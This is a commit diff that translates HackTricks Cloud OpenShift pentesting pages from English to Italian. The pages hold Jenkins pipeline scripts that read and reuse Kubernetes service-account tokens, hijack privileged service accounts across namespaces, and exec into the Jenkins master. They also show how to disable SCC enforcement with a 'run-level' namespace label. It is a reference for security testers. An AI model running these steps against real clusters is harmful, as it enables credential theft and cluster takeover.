mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 23:15:48 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
Translator
@@ -1,23 +1,19 @@
|
||||
# OpenShift Pentesting
|
||||
|
||||
## Basic Information
|
||||
## Informazioni di Base
|
||||
|
||||
{{#ref}}
|
||||
openshift-basic-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Security Context Constraints
|
||||
## Vincoli del Contesto di Sicurezza
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## Escalation dei Privilegi
|
||||
|
||||
{{#ref}}
|
||||
openshift-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,35 +1,33 @@
|
||||
# OpenShift - Basic information
|
||||
# OpenShift - Informazioni di base
|
||||
|
||||
## Kubernetes prior b**asic knowledge** <a href="#a94e" id="a94e"></a>
|
||||
## Kubernetes conoscenze b**asiche** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
Before working with OpenShift, ensure you are comfortable with the Kubernetes environment. The entire OpenShift chapter assumes you have prior knowledge of Kubernetes.
|
||||
Prima di lavorare con OpenShift, assicurati di essere a tuo agio con l'ambiente Kubernetes. L'intero capitolo su OpenShift presuppone che tu abbia conoscenze pregresse di Kubernetes.
|
||||
|
||||
## OpenShift - Basic Information
|
||||
## OpenShift - Informazioni di base
|
||||
|
||||
### Introduction
|
||||
### Introduzione
|
||||
|
||||
OpenShift is Red Hat’s container application platform that offers a superset of Kubernetes features. OpenShift has stricter security policies. For instance, it is forbidden to run a container as root. It also offers a secure-by-default option to enhance security. OpenShift, features an web console which includes a one-touch login page.
|
||||
OpenShift è la piattaforma di applicazioni container di Red Hat che offre un superset delle funzionalità di Kubernetes. OpenShift ha politiche di sicurezza più rigorose. Ad esempio, è vietato eseguire un container come root. Offre anche un'opzione sicura per impostazione predefinita per migliorare la sicurezza. OpenShift presenta una console web che include una pagina di accesso con un solo tocco.
|
||||
|
||||
#### CLI
|
||||
|
||||
OpenShift come with a it's own CLI, that can be found here:
|
||||
OpenShift viene fornito con il proprio CLI, che può essere trovato qui:
|
||||
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/4.11/cli_reference/openshift_cli/getting-started-cli.html
|
||||
{{#endref}}
|
||||
|
||||
To login using the CLI:
|
||||
|
||||
Per accedere utilizzando il CLI:
|
||||
```bash
|
||||
oc login -u=<username> -p=<password> -s=<server>
|
||||
oc login -s=<server> --token=<bearer token>
|
||||
```
|
||||
|
||||
### **OpenShift - Security Context Constraints** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
In addition to the [RBAC resources](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) that control what a user can do, OpenShift Container Platform provides _security context constraints_ (SCC) that control the actions that a pod can perform and what it has the ability to access.
|
||||
In aggiunta alle [risorse RBAC](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) che controllano cosa può fare un utente, OpenShift Container Platform fornisce _security context constraints_ (SCC) che controllano le azioni che un pod può eseguire e a cosa ha la possibilità di accedere.
|
||||
|
||||
SCC is a policy object that has special rules that correspond with the infrastructure itself, unlike RBAC that has rules that correspond with the Platform. It helps us define what Linux access-control features the container should be able to request/run. Example: Linux Capabilities, SECCOMP profiles, Mount localhost dirs, etc.
|
||||
SCC è un oggetto di policy che ha regole speciali che corrispondono all'infrastruttura stessa, a differenza di RBAC che ha regole che corrispondono alla Piattaforma. Aiuta a definire quali funzionalità di controllo accessi Linux il container dovrebbe essere in grado di richiedere/eseguire. Esempio: Linux Capabilities, profili SECCOMP, Montare directory localhost, ecc.
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
@@ -38,7 +36,3 @@ openshift-scc.md
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,43 +1,39 @@
|
||||
# OpenShift - Jenkins
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**L'autore originale di questa pagina è** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
This page gives some pointers onto how you can attack a Jenkins instance running in an Openshift (or Kubernetes) cluster
|
||||
Questa pagina fornisce alcuni suggerimenti su come puoi attaccare un'istanza di Jenkins in esecuzione in un cluster Openshift (o Kubernetes)
|
||||
|
||||
## Disclaimer
|
||||
|
||||
A Jenkins instance can be deployed in both Openshift or Kubernetes cluster. Depending in your context, you may need to adapt any shown payload, yaml or technique. For more information about attacking Jenkins you can have a look at [this page](../../../pentesting-ci-cd/jenkins-security/)
|
||||
Un'istanza di Jenkins può essere distribuita sia in un cluster Openshift che in un cluster Kubernetes. A seconda del tuo contesto, potresti dover adattare qualsiasi payload, yaml o tecnica mostrata. Per ulteriori informazioni su come attaccare Jenkins, puoi dare un'occhiata a [questa pagina](../../../pentesting-ci-cd/jenkins-security/)
|
||||
|
||||
## Prerequisites
|
||||
|
||||
1a. User access in a Jenkins instance OR 1b. User access with write permission to an SCM repository where an automated build is triggered after a push/merge
|
||||
1a. Accesso utente in un'istanza di Jenkins OPPURE 1b. Accesso utente con permesso di scrittura a un repository SCM dove viene attivata una build automatizzata dopo un push/merge
|
||||
|
||||
## How it works
|
||||
|
||||
Fundamentally, almost everything behind the scenes works the same as a regular Jenkins instance running in a VM. The main difference is the overall architecture and how builds are managed inside an openshift (or kubernetes) cluster.
|
||||
Fondamentalmente, quasi tutto ciò che avviene dietro le quinte funziona allo stesso modo di un'istanza di Jenkins regolare in esecuzione in una VM. La principale differenza è l'architettura complessiva e come le build vengono gestite all'interno di un cluster openshift (o kubernetes).
|
||||
|
||||
### Builds
|
||||
|
||||
When a build is triggered, it is first managed/orchestrated by the Jenkins master node then delegated to an agent/slave/worker. In this context, the master node is just a regular pod running in a namespace (which might be different that the one where workers run). The same applies for the workers/slaves, however they destroyed once the build finished whereas the master always stays up. Your build is usually run inside a pod, using a default pod template defined by the Jenkins admins.
|
||||
Quando viene attivata una build, viene prima gestita/orchestrata dal nodo master di Jenkins e poi delegata a un agente/schiavo/lavoratore. In questo contesto, il nodo master è solo un normale pod in esecuzione in uno spazio dei nomi (che potrebbe essere diverso da quello in cui vengono eseguiti i lavoratori). Lo stesso vale per i lavoratori/schiavi, tuttavia vengono distrutti una volta che la build è terminata, mentre il master rimane sempre attivo. La tua build viene solitamente eseguita all'interno di un pod, utilizzando un modello di pod predefinito definito dagli amministratori di Jenkins.
|
||||
|
||||
### Triggering a build
|
||||
|
||||
You have multiples main ways to trigger a build such as:
|
||||
Hai diversi modi principali per attivare una build, come:
|
||||
|
||||
1. You have UI access to Jenkins
|
||||
1. Hai accesso UI a Jenkins
|
||||
|
||||
A very easy and convenient way is to use the Replay functionality of an existing build. It allows you to replay a previously executed build while allowing you to update the groovy script. This requires privileges on a Jenkins folder and a predefined pipeline. If you need to be stealthy, you can delete your triggered builds if you have enough permission.
|
||||
Un modo molto semplice e conveniente è utilizzare la funzionalità Replay di una build esistente. Ti consente di ripetere una build precedentemente eseguita mentre ti consente di aggiornare lo script groovy. Questo richiede privilegi su una cartella di Jenkins e una pipeline predefinita. Se hai bisogno di essere furtivo, puoi eliminare le tue build attivate se hai abbastanza permessi.
|
||||
|
||||
2. You have write access to the SCM and automated builds are configured via webhook
|
||||
2. Hai accesso in scrittura allo SCM e le build automatizzate sono configurate tramite webhook
|
||||
|
||||
You can just edit a build script (such as Jenkinsfile), commit and push (eventually create a PR if builds are only triggered on PR merges). Keep in mind that this path is very noisy and need elevated privileges to clean your tracks.
|
||||
Puoi semplicemente modificare uno script di build (come Jenkinsfile), fare commit e push (eventualmente creare una PR se le build vengono attivate solo sui merge delle PR). Tieni presente che questo percorso è molto rumoroso e richiede privilegi elevati per pulire le tue tracce.
|
||||
|
||||
## Jenkins Build Pod YAML override
|
||||
|
||||
{{#ref}}
|
||||
openshift-jenkins-build-overrides.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,278 +1,260 @@
|
||||
# Jenkins in Openshift - build pod overrides
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**L'autore originale di questa pagina è** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
## Kubernetes plugin for Jenkins
|
||||
This plugin is mostly responsible of Jenkins core functions inside an openshift/kubernetes cluster. Official documentation [here](https://plugins.jenkins.io/kubernetes/)
|
||||
It offers a few functionnalities such as the ability for developers to override some default configurations of a jenkins build pod.
|
||||
## Plugin Kubernetes per Jenkins
|
||||
Questo plugin è principalmente responsabile delle funzioni core di Jenkins all'interno di un cluster openshift/kubernetes. Documentazione ufficiale [qui](https://plugins.jenkins.io/kubernetes/)
|
||||
Offre alcune funzionalità come la possibilità per gli sviluppatori di sovrascrivere alcune configurazioni predefinite di un pod di build di jenkins.
|
||||
|
||||
## Core functionnality
|
||||
|
||||
This plugin allows flexibility to developers when building their code in adequate environment.
|
||||
## Funzionalità core
|
||||
|
||||
Questo plugin consente flessibilità agli sviluppatori durante la costruzione del loro codice in un ambiente adeguato.
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Alcuni abusi che sfruttano l'override yaml del pod
|
||||
|
||||
## Some abuses leveraging pod yaml override
|
||||
|
||||
It can however be abused to use any accessible image such as Kali Linux and execute arbritrary commands using preinstalled tools from that image.
|
||||
In the example below we can exfiltrate the serviceaccount token of the running pod.
|
||||
|
||||
Tuttavia, può essere abusato per utilizzare qualsiasi immagine accessibile come Kali Linux ed eseguire comandi arbitrari utilizzando strumenti preinstallati da quell'immagine.
|
||||
Nell'esempio seguente possiamo esfiltrare il token del serviceaccount del pod in esecuzione.
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
A different synthax to achieve the same goal.
|
||||
|
||||
Una sintassi diversa per raggiungere lo stesso obiettivo.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Sample to override the namespace of the pod
|
||||
Esempio per sovrascrivere lo spazio dei nomi del pod
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Another example which tries mounting a serviceaccount (which may have more permissions than the default one, running your build) based on its name. You may need to guess or enumerate existing serviceaccounts first.
|
||||
|
||||
Un altro esempio che tenta di montare un serviceaccount (che potrebbe avere più permessi rispetto a quello predefinito, che esegue la tua build) in base al suo nome. Potresti dover indovinare o enumerare prima i serviceaccount esistenti.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
La stessa tecnica si applica per provare a montare un Secret. L'obiettivo finale qui sarebbe capire come configurare il tuo pod build per effettuare un pivot o guadagnare privilegi.
|
||||
|
||||
The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.
|
||||
## Andare oltre
|
||||
|
||||
## Going further
|
||||
Una volta che ti sei abituato a giocarci, usa la tua conoscenza su Jenkins e Kubernetes/Openshift per trovare misconfigurazioni / abusi.
|
||||
|
||||
Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses.
|
||||
Fatti le seguenti domande:
|
||||
|
||||
Ask yourself the following questions:
|
||||
- Quale account di servizio viene utilizzato per distribuire i pod di build?
|
||||
- Quali ruoli e permessi ha? Può leggere i segreti dello spazio dei nomi in cui mi trovo attualmente?
|
||||
- Posso enumerare ulteriormente altri pod di build?
|
||||
- Da un sa compromesso, posso eseguire comandi sul nodo/pod master?
|
||||
- Posso enumerare ulteriormente il cluster per pivotare altrove?
|
||||
- Quale SCC è applicata?
|
||||
|
||||
- Which service account is being used to deploy build pods?
|
||||
- What roles and permissions does it have? Can it read secrets of the namespace I am currently in?
|
||||
- Can I further enumerate other build pods?
|
||||
- From a compromised sa, can I execute commands on the master node/pod?
|
||||
- Can I further enumerate the cluster to pivot elsewhere?
|
||||
- Which SCC is applied?
|
||||
Puoi scoprire quali comandi oc/kubectl emettere [qui](../openshift-basic-information.md) e [qui](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
|
||||
You can find out which oc/kubectl commands to issue [here](../openshift-basic-information.md) and [here](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
### Possibili scenari di privesc/pivoting
|
||||
|
||||
### Possible privesc/pivoting scenarios
|
||||
Supponiamo che durante la tua valutazione tu abbia scoperto che tutte le build di jenkins vengono eseguite all'interno di uno spazio dei nomi chiamato _worker-ns_. Hai scoperto che un account di servizio predefinito chiamato _default-sa_ è montato sui pod di build, tuttavia non ha molti permessi tranne l'accesso in lettura su alcune risorse, ma sei riuscito a identificare un account di servizio esistente chiamato _master-sa_.
|
||||
Supponiamo anche che tu abbia il comando oc installato all'interno del container di build in esecuzione.
|
||||
|
||||
Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called _worker-ns_. You figured out that a default serviceaccount called _default-sa_ is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called _master-sa_.
|
||||
Let's also assume that you have the oc command installed inside the running build container.
|
||||
|
||||
With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further.
|
||||
Con il seguente script di build puoi prendere il controllo dell'account di servizio _master-sa_ e enumerare ulteriormente.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Depending on your access, either you need to continue your attack from the build script or you can directly login as this sa on the running cluster:
|
||||
A seconda del tuo accesso, o devi continuare il tuo attacco dallo script di build o puoi accedere direttamente come questo sa sul cluster in esecuzione:
|
||||
```bash
|
||||
oc login --token=$token --server=https://apiserver.com:port
|
||||
```
|
||||
|
||||
|
||||
If this sa has enough permission (such as pod/exec), you can also take control of the whole jenkins instance by executing commands inside the master node pod, if it's running within the same namespace. You can easily identify this pod via its name and by the fact that it must be mounting a PVC (persistant volume claim) used to store jenkins data.
|
||||
|
||||
Se questo sa ha abbastanza permessi (come pod/exec), puoi anche prendere il controllo dell'intera istanza di jenkins eseguendo comandi all'interno del pod del nodo master, se è in esecuzione all'interno dello stesso namespace. Puoi facilmente identificare questo pod tramite il suo nome e dal fatto che deve montare un PVC (persistent volume claim) utilizzato per memorizzare i dati di jenkins.
|
||||
```bash
|
||||
oc rsh pod_name -c container_name
|
||||
```
|
||||
|
||||
In case the master node pod is not running within the same namespace as the workers you can try similar attacks by targetting the master namespace. Let's assume its called _jenkins-master_. Keep in mind that serviceAccount master-sa needs to exist on the _jenkins-master_ namespace (and might not exist in _worker-ns_ namespace)
|
||||
|
||||
In caso il pod del nodo master non sia in esecuzione all'interno dello stesso namespace dei worker, puoi provare attacchi simili mirati al namespace master. Supponiamo che si chiami _jenkins-master_. Tieni presente che il serviceAccount master-sa deve esistere nel namespace _jenkins-master_ (e potrebbe non esistere nel namespace _worker-ns_).
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# OpenShift - Privilege Escalation
|
||||
|
||||
## Missing Service Account
|
||||
## Servizio Account Mancante
|
||||
|
||||
{{#ref}}
|
||||
openshift-missing-service-account.md
|
||||
@@ -12,12 +12,8 @@ openshift-missing-service-account.md
|
||||
openshift-tekton.md
|
||||
{{#endref}}
|
||||
|
||||
## SCC Bypass
|
||||
## Bypass SCC
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,26 +2,22 @@
|
||||
|
||||
## Missing Service Account
|
||||
|
||||
It happens that cluster is deployed with preconfigured template automatically setting Roles, RoleBindings and even SCC to service account that is not yet created. This can lead to privilege escalation in the case where you can create them. In this case, you would be able to get the token of the SA newly created and the role or SCC associated. Same case happens when the missing SA is part of a missing project, in this case if you can create the project and then the SA you get the Roles and SCC associated.
|
||||
Capita che il cluster venga distribuito con un modello preconfigurato che imposta automaticamente i Ruoli, i RoleBindings e persino gli SCC su un service account che non è ancora stato creato. Questo può portare a un'escursione di privilegi nel caso in cui tu possa crearli. In questo caso, saresti in grado di ottenere il token del SA appena creato e il ruolo o SCC associato. Lo stesso caso si verifica quando il SA mancante fa parte di un progetto mancante; in questo caso, se puoi creare il progetto e poi il SA, ottieni i Ruoli e gli SCC associati.
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the previous graph we got multiple AbsentProject meaning multiple project that appears in Roles Bindings or SCC but are not yet created in the cluster. In the same vein we also got an AbsentServiceAccount.
|
||||
Nel grafico precedente abbiamo ottenuto più AbsentProject, il che significa più progetti che appaiono nei Role Bindings o SCC ma non sono ancora stati creati nel cluster. Nella stessa vena abbiamo anche un AbsentServiceAccount.
|
||||
|
||||
If we can create a project and the missing SA in it, the SA will inherited from the Role or the SCC that were targeting the AbsentServiceAccount. Which can lead to privilege escalation.
|
||||
Se possiamo creare un progetto e il SA mancante al suo interno, il SA erediterà il Ruolo o lo SCC che miravano all'AbsentServiceAccount. Questo può portare a un'escursione di privilegi.
|
||||
|
||||
The following example show a missing SA which is granted node-exporter SCC:
|
||||
Il seguente esempio mostra un SA mancante a cui è stato concesso il SCC node-exporter:
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Tools
|
||||
|
||||
The following tool can be use to enumerate this issue and more generally to graph an OpenShift cluster:
|
||||
Il seguente strumento può essere utilizzato per enumerare questo problema e, più in generale, per graficare un cluster OpenShift:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/maxDcb/OpenShiftGrapher
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Openshift - SCC bypass
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**L'autore originale di questa pagina è** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Privileged Namespaces
|
||||
## Namespace privilegiati
|
||||
|
||||
By default, SCC does not apply on following projects :
|
||||
Per impostazione predefinita, SCC non si applica ai seguenti progetti:
|
||||
|
||||
- **default**
|
||||
- **kube-system**
|
||||
@@ -13,130 +13,114 @@ By default, SCC does not apply on following projects :
|
||||
- **openshift-infra**
|
||||
- **openshift**
|
||||
|
||||
If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
|
||||
Se distribuisci pod all'interno di uno di questi namespace, non verrà applicato alcun SCC, consentendo la distribuzione di pod privilegiati o il montaggio del file system host.
|
||||
|
||||
## Namespace Label
|
||||
## Etichetta del Namespace
|
||||
|
||||
There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
|
||||
|
||||
- Create a Namespace and Create a Pod on this Namespace
|
||||
- Edit a Namespace and Create a Pod on this Namespace
|
||||
Esiste un modo per disabilitare l'applicazione di SCC sul tuo pod secondo la documentazione di RedHat. Dovrai avere almeno uno dei seguenti permessi:
|
||||
|
||||
- Creare un Namespace e Creare un Pod in questo Namespace
|
||||
- Modificare un Namespace e Creare un Pod in questo Namespace
|
||||
```bash
|
||||
$ oc auth can-i create namespaces
|
||||
yes
|
||||
yes
|
||||
|
||||
$ oc auth can-i patch namespaces
|
||||
yes
|
||||
yes
|
||||
```
|
||||
|
||||
The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
|
||||
L'etichetta specifica `openshift.io/run-level` consente agli utenti di eludere le SCC per le applicazioni. Secondo la documentazione di RedHat, quando questa etichetta è utilizzata, nessuna SCC è applicata a tutti i pod all'interno di quel namespace, rimuovendo di fatto qualsiasi restrizione.
|
||||
|
||||
<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Add Label
|
||||
|
||||
To add the label in your namespace :
|
||||
## Aggiungi Etichetta
|
||||
|
||||
Per aggiungere l'etichetta nel tuo namespace :
|
||||
```bash
|
||||
$ oc label ns MYNAMESPACE openshift.io/run-level=0
|
||||
```
|
||||
|
||||
To create a namespace with the label through a YAML file:
|
||||
|
||||
Per creare un namespace con l'etichetta tramite un file YAML:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
```
|
||||
|
||||
Now, all new pods created on the namespace should not have any SCC
|
||||
Ora, tutti i nuovi pod creati nello spazio dei nomi non dovrebbero avere alcun SCC
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
|
||||
</strong><strong>$
|
||||
